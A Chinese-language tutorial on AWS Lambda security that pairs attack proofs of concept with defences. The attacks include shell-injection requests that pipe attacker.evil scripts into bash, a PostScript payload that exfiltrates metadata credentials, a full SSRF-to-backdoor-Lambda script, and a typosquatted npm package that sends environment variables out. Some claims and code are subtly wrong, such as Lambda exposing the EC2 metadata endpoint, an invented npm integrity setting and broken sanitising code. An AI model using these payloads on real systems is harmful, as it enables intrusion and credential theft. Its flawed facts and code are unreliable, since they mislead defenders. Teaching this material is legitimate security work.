一、Serverless 安全与传统服务的本质区别

Serverless(FaaS)的安全边界和传统 VM/容器完全不同

传统 VM:
  攻击面 = OS + 应用 + 依赖 + 网络 + 物理主机(5层)

容器:
  攻击面 = 内核 + 应用 + 依赖 + 网络(4层,但共享内核)

Serverless:
  攻击面 = 函数代码 + 依赖 + 事件源 + IAM Role + 运行时(5层,但底层全托管)
              ↑              ↑          ↑           ↑
           用户可控      用户可控   云厂商注入   用户配置   云厂商托管

关键差异:Serverless 的运行环境(OS/内核/容器运行时)用户完全不可见,这既是好处(减少运维面)也是坏处(出问题你管不了)。

二、攻击面全景图

                    Serverless 攻击面
┌──────────────────────────────────────────────────────┐
│ Layer 1: 事件层(攻击者直接控制的入口)                │
│   - S3/SNS/SQS/EventBridge 事件注入                  │
│   - API Gateway 参数注入                             │
│   - 定时触发器 DoS                                   │
├──────────────────────────────────────────────────────┤
│ Layer 2: 代码层                                      │
│   - 命令注入 (eval/exec/subprocess)                  │
│   - 反序列化漏洞                                     │
│   - SSRF(通过 AWS SDK 元数据)                      │
├──────────────────────────────────────────────────────┤
│ Layer 3: 依赖层                                      │
│   - 供应链攻击 (npm/pip/gradle)                      │
│   - 公开版本中植入后门                                │
├──────────────────────────────────────────────────────┤
│ Layer 4: IAM 层                                      │
│   - Lambda Role 过宽权限                              │
│   - 环境变量中硬编码凭证                              │
│   - AssumeRole 横向移动                               │
├──────────────────────────────────────────────────────┤
│ Layer 5: 运行时层(用户无法控制)                     │
│   - 冷启动会话劫持(理论 + 实战 PoC)                │
│   - 运行时 escape(RCE in Runtime → 拿宿主)          │
└──────────────────────────────────────────────────────┘

三、攻击方式 1:函数事件注入(Command Injection)

3.1 原理

FaaS 函数的输入完全由事件源提供。如果开发者把事件参数直接拼接到 shell 命令里,就产生了命令注入。

3.2 危险代码示例

# ❌ 危险: 直接拼接用户输入到 shell 命令
import subprocess, json

def handler(event, context):
    filename = event["queryStringParameters"]["filename"]
    # 用户输入直接进入 shell!
    result = subprocess.check_output(f"convert /uploads/{filename} -resize 100x100 /tmp/out.jpg", shell=True)
    return {"statusCode": 200, "body": result.decode()}

3.3 PoC:通过 API Gateway 注入命令

# 1. 正常请求
curl "https://api-gateway.amazonaws.com/prod/convert?filename=photo.jpg"

# 2. 命令注入
curl "https://api-gateway.amazonaws.com/prod/convert?filename=photo.jpg%3Bcurl%20http%3A%2F%2Fattacker.evil%2Fshell.sh%20%7C%20bash"
# filename = "photo.jpg;curl http://attacker.evil/shell.sh | bash"

# 3. 更隐蔽: 用反引号或 $()
curl "https://api-gateway.amazonaws.com/prod/convert?filename=`curl+http%3A%2F%2Fattacker.evil%2Fid.sh`"
curl "https://api-gateway.amazonaws.com/prod/convert?filename=$(curl+http%3A%2F%2Fattacker.evil%2Fid.sh)"

# 4. 多行注入(如果写入文件再执行)
curl "https://api-gateway.amazonaws.com/prod/convert?filename=a.jpg%0Aattacker:x:0:0:root:/root:/bin/sh>>/etc/passwd"

3.4 防御

# ✅ 安全: 不用 shell=True + 参数列表
import subprocess, json, os, re

def handler(event, context):
    filename = event["queryStringParameters"]["filename"]

    # 1. 白名单验证
    if not re.match(r'^[a-zA-Z0-9_.-]+.(jpg|png|gif)$', filename):
        return {"statusCode": 400, "body": "Invalid filename"}

    # 2. 路径穿越防护
    safe_path = os.path.normpath(f"/uploads/{filename}")
    if not safe_path.startswith("/uploads/"):
        return {"statusCode": 400, "body": "Invalid path"}

    # 3. 用列表参数 + shell=False
    result = subprocess.check_output(
        ["convert", safe_path, "-resize", "100x100", "/tmp/out.jpg"],
        shell=False
    )
    return {"statusCode": 200, "body": "ok"}

四、攻击方式 2:通过 S3 事件触发恶意处理

4.1 场景

Lambda 监听 S3 bucket,当有文件上传时自动处理。攻击者上传一个精心构造的文件触发漏洞。

4.2 PoC:通过恶意 PDF 打 Ghostscript RCE

# Lambda 函数监听 S3 bucket 事件
import boto3, subprocess, tempfile, os

s3 = boto3.client("s3")

def handler(event, context):
    for record in event["Records"]:
        bucket = record["s3"]["bucket"]["name"]
        key = record["s3"]["object"]["key"]

        # ❌ 直接处理攻击者上传的 PDF
        with tempfile.NamedTemporaryFile(suffix=".pdf", delete=False) as tmp:
            s3.download_fileobj(bucket, key, tmp)
            tmp_path = tmp.name

        # Ghostscript 在处理恶意 PDF 时可能 RCE (CVE-2023-36664)
        result = subprocess.run(["gs", "-dSAFER", "-sDEVICE=pdfwrite", "-sOutputFile=/dev/null", tmp_path],
                                capture_output=True)
        os.unlink(tmp_path)

攻击者上传恶意 PDF:

# 构造恶意 PDF(触发 Ghostscript 命令注入)
cat > evil.ps << 'PSOF'
%!PS
% Ghostscript -dSAFER 绕过 PoC
/run { loadfile cvs exec } bind def
save
% 当 pdfwrite 处理时会执行这个
(%pipe%curl http://attacker.evil/exfil?data=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)) run
restore
PSOF

# 上传到 S3
aws s3 cp evil.ps s3://vulnerable-bucket/uploads/
# Lambda 会被 S3 事件触发 → 执行 Ghostscript → 命令注入

五、攻击方式 3:Lambda Role 权限提升

5.1 攻击链

攻击者调用 Lambda API 触发函数
    │
    └──→ 函数代码里有 SSRF → 拿到 Lambda Role 的临时凭证
              │
              └──→ 用 Role 凭证访问其他 AWS 资源
                        │
                        └──→ 如果 Role 权限太宽 → 接管 AWS 账户

5.2 PoC:通过 SSRF 拿 Lambda Role 凭证

# ❌ 危险 Lambda 代码: SSRF
import urllib.request, json

def handler(event, context):
    # 用户可控的 URL 参数
    url = event["queryStringParameters"]["url"]

    # SSRF: 让 Lambda 去请求任意 URL
    # 包括 Lambda 自己的 Metadata Service!
    resp = urllib.request.urlopen(url).read()

    # 攻击者传入:
    # http://169.254.169.254/latest/meta-data/iam/security-credentials/
    # Lambda 会返回自己的 Role 临时凭证!
    return {"statusCode": 200, "body": resp.decode()}

5.3 完整攻击脚本

#!/usr/bin/env python3
"""
SSRF → Lambda Role 凭证 → 接管 AWS 账户
"""
import boto3, requests, json

# Step 1: 触发目标 Lambda 的 SSRF
target_lambda_url = "https://xxx.execute-api.us-east-1.amazonaws.com/prod/fetch?url={}"
meta_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# 先拿到 Role 名
role_name = requests.get(target_lambda_url.format(meta_url)).text.strip()
print(f"[+] Lambda Role: {role_name}")

# 再拿临时凭证
creds_json = requests.get(target_lambda_url.format(meta_url + role_name)).text
creds = json.loads(creds_json)
print(f"[+] AccessKeyId: {creds['AccessKeyId'][:20]}...")

# Step 2: 用拿到的凭证探索账户
session = boto3.Session(
    aws_access_key_id=creds["AccessKeyId"],
    aws_secret_access_key=creds["SecretAccessKey"],
    aws_session_token=creds["Token"],
    region_name="us-east-1"
)

# 检查这个 Role 有什么权限
iam = session.client("iam")
try:
    resp = iam.list_attached_role_policies(RoleName=role_name)
    for p in resp["AttachedPolicies"]:
        print(f"  🔗 {p['PolicyArn']}")
        if "AdministratorAccess" in p["PolicyArn"]:
            print("  🔴🔴🔴 Lambda Role 有 Admin 权限!账户已失守!")
except Exception as e:
    print(f"  [-] 无法列出 Role Policy: {e}")

# Step 3: 尝试创建后门 Lambda
lambda_client = session.client("lambda")
try:
    lambda_client.create_function(
        FunctionName="backdoor-" + str(__import__("time").time()),
        Runtime="python3.11",
        Role=creds["RoleArn"],  # 用自己的 Role
        Handler="index.handler",
        Code={"ZipFile": b"def handler(e,c): import os; os.system('curl http://attacker.evil/shell.sh|bash'); return ok"},
        Timeout=300,
        MemorySize=256,
    )
    print("[+] 后门 Lambda 创建成功!")
except Exception as e:
    print(f"[-] 创建失败: {e}")

5.4 防御:最小权限 Lambda Role

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:GetObject",
        "s3:PutObject"
      ],
      "Resource": [
        "arn:aws:s3:::my-bucket/processing/*"
      ]
    }
  ]
}
// 绝对不要给 lambda:InvokeFunction (能调用其他 Lambda)
// 绝对不要给 iam:* / sts:*
// 绝对不要给 ec2:RunInstances / s3:DeleteBucket

六、攻击方式 4:冷启动会话劫持(Cold Start Hijacking)

6.1 原理

FaaS 平台的冷启动机制:

Time T=0: 没有实例运行
Time T=1: 收到请求 → 启动新容器(冷启动,~500ms-10s)
Time T=2: 启动完成 → 处理请求 A
Time T=3: 处理请求 B(热启动,快)
Time T=4: 处理请求 C
Time T=N: 空闲几分钟后容器被回收

关键: 同一个容器实例处理多个请求
如果请求 A 污染了内存/磁盘 → 请求 B 可能看到污染

6.2 场景 A:磁盘残留

# ❌ 危险: 使用 /tmp 存储敏感数据,不清理
import os

def handler(request_A, context):
    # 请求 A 写入密码到 /tmp
    open("/tmp/secret.txt", "w").write("admin-password-123")

# 紧接着请求 B 到来,可能在同一个容器里
def handler(request_B, context):
    # 请求 B 能读到请求 A 的残留数据!
    if os.path.exists("/tmp/secret.txt"):
        print(f"Found secret: {open('/tmp/secret.txt').read()}")

6.3 场景 B:环境变量缓存

# ❌ 危险: 模块级缓存敏感数据
import os

def get_db_connection():
    # 第一次调用时从环境变量读取凭证并缓存
    if not hasattr(get_db_connection, "cached"):
        get_db_connection.cached_password = os.environ["DB_PASSWORD"]
        get_db_connection.cached = True
    # 攻击者如果能注入环境变量...
    return get_db_connection.cached_password

6.4 防御

# ✅ 安全: 每次调用独立文件
import tempfile, os

def handler(request, context):
    # 1. 用 tempfile.mkdtemp 每次独立目录
    work_dir = tempfile.mkdtemp(prefix="lambda-work-")
    try:
        file_path = os.path.join(work_dir, "secret.txt")
        # 处理...
    finally:
        # 2. 确保清理
        import shutil
        shutil.rmtree(work_dir)

# ✅ 安全: 禁止使用 /tmp 共享目录存储敏感数据
# ✅ 安全: 定期刷新数据库连接(不要在模块级缓存)

七、攻击方式 5:Log 注入

7.1 原理

Serverless 函数的日志会被自动收集到 CloudWatch/CLS。攻击者可以通过日志注入伪造数据

7.2 PoC

# ❌ 危险: 打印用户输入到日志
def handler(event, context):
    username = event["queryStringParameters"]["username"]
    print(f"User login: {username}")  # 用户输入直接进入日志
    # 攻击者传入:
    # username = "admin 登录成功\n[CRITICAL] 数据库被删除"
    # 日志看起来就像 "admin 登录成功" 后面跟着一条 CRITICAL 级别的告警

7.3 防御

# ✅ 安全: 结构化日志 + 净化输入
import json

def handler(event, context):
    username = event["queryStringParameters"]["username"]
    # 1. 转义用户输入
    safe_username = username.replace("
", "").replace("
", "")
    # 2. 结构化日志(JSON)避免误读
    print(json.dumps({
        "event": "user_login",
        "username": safe_username,
        "timestamp": context.aws_request_id
    }))

八、攻击方式 6:依赖链投毒(Supply Chain Attack)

8.1 PoC:污染公共 npm 包

# 1. 开发者 Lambda 的 package.json 里有个依赖 "useful-lib": "^1.2.0"
# 2. 攻击者发布 malicious-useful-lib@1.2.0(名字只差一个字符,typosquatting)

# malicious-useful-lib/index.js
const https = require("https");
const url = require("url");

// 模块加载时自动执行!
const hook = new Proxy( {}, {
  get(target, prop) {
    if (typeof prop === "string" && prop[0] === "$") {
      // 当 Lambda 代码访问 process.env.$DB_PASSWORD 时触发
      https.get("https://attacker.evil/collect?env=" + encodeURIComponent(process.env[prop]));
    }
    return target[prop];
  }
});
process.env = new Proxy(process.env, { get: (t, p) => hook[p] || t[p] });

// 或者更简单: 直接用 child_process 读环境变量
const cp = require("child_process");
https.get("https://attacker.evil/collect?e=" + btoa(JSON.stringify(process.env)));

8.2 防御

# 1. npm 启用 integrity 检查(package-lock.json 里有 sha512)
npm config set integrity true

# 2. CI 中审计依赖
npm audit --audit-level=high
# 或者用 Snyk
snyk test --severity-threshold=high

# 3. 私有 Registry
# Verdaccio / Nexus / GitHub Packages 代理所有 npm 包
# 禁止直接从 public npm 拉包

# 4. Lambda Layer 固定依赖版本
# 不要让 Lambda 在冷启动时 npm install
# 而是预先构建 Layer 上传 zip

九、Serverless 安全最佳实践 Checklist

优先级 措施 具体做法
P0 最小权限 Role 严格限制 ARN + Action
P0 禁止命令注入 shell=False + 白名单验证
P0 环境变量加密 KMS 加密 + 运行时解密
P1 冷启动隔离 tempfile.mkdtemp + 每次清理
P1 结构化日志 禁止用户输入直接打印
P1 依赖审计 npm audit / Snyk + 私有 Registry
P1 无 SSRF 允许列表验证 URL 目标
P2 运行时配置 禁用 IMDS(AWS_LAMBDA_RUNTIME_API)
P2 超时限制 最小 timeout + 防止 DoS
P2 并发限制 Reserved Concurrency + Provisioned Concurrency

9.1 Terraform 安全模板

resource "aws_lambda_function" "secure" {
  function_name    = "secure-function"
  role             = aws_iam_role.lambda_role.arn
  handler          = "index.handler"
  runtime          = "python3.11"
  source_code_hash = filebase64sha256("function.zip")
  filename         = "function.zip"

  # 安全配置
  timeout = 30          # 最小 timeout
  memory_size = 256     # 最小内存

  # 环境变量(加密)
  environment {
    variables = {
      DB_PASSWORD = "encrypted-kms-arn:alias/aws/lambda:db-pass-xxxxxx"
    }
  }

  # 死信队列(失败不要反复执行)
  dead_letter_config {
    target_arn = aws_sqs_queue.dlq.arn
  }

  # Tags
  tags = {
    SecurityContact = "security@corp.com"
    DataClassification = "internal"
  }
}

# 最小权限 Role
resource "aws_iam_role" "lambda_role" {
  name = "secure-lambda-role"
  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [{
      Effect = "Allow"
      Principal = { Service = "lambda.amazonaws.com" }
      Action = "sts:AssumeRole"
      Condition = {
        StringEquals = { "aws:SourceAccount" = "123456789012" }
        ArnLike = { "aws:SourceArn" = "arn:aws:lambda:*:*:function:secure-function" }
      }
    }]
  })
  # 关键: 强制 Permission Boundary
  permissions_boundary = aws_iam_policy.lambda_boundary.arn
}

十、Serverless 安全的独特挑战

Serverless 安全和传统安全最大的不同是责任边界的模糊

  • Lambda 运行时的安全 → AWS 负责
  • Lambda 代码的安全 → 你负责
  • Lambda Role 的权限 → 你负责
  • 事件源的安全 → 你负责(S3 Bucket ACL、API Gateway 认证)
  • 冷启动隔离 → AWS 保证(但有历史漏洞)

最容易忽视的点:Serverless 函数的 Role 通常跨服务——它可能同时能访问 S3、DynamoDB、SQS、Secrets Manager。一旦 SSRF 泄露了 Role 凭证,攻击者可以横向到所有这些服务。

终极防御:把每个函数的 Role 权限切到最细——甚至可以按函数分不同 Role,而不是一个大 Role 给所有函数用。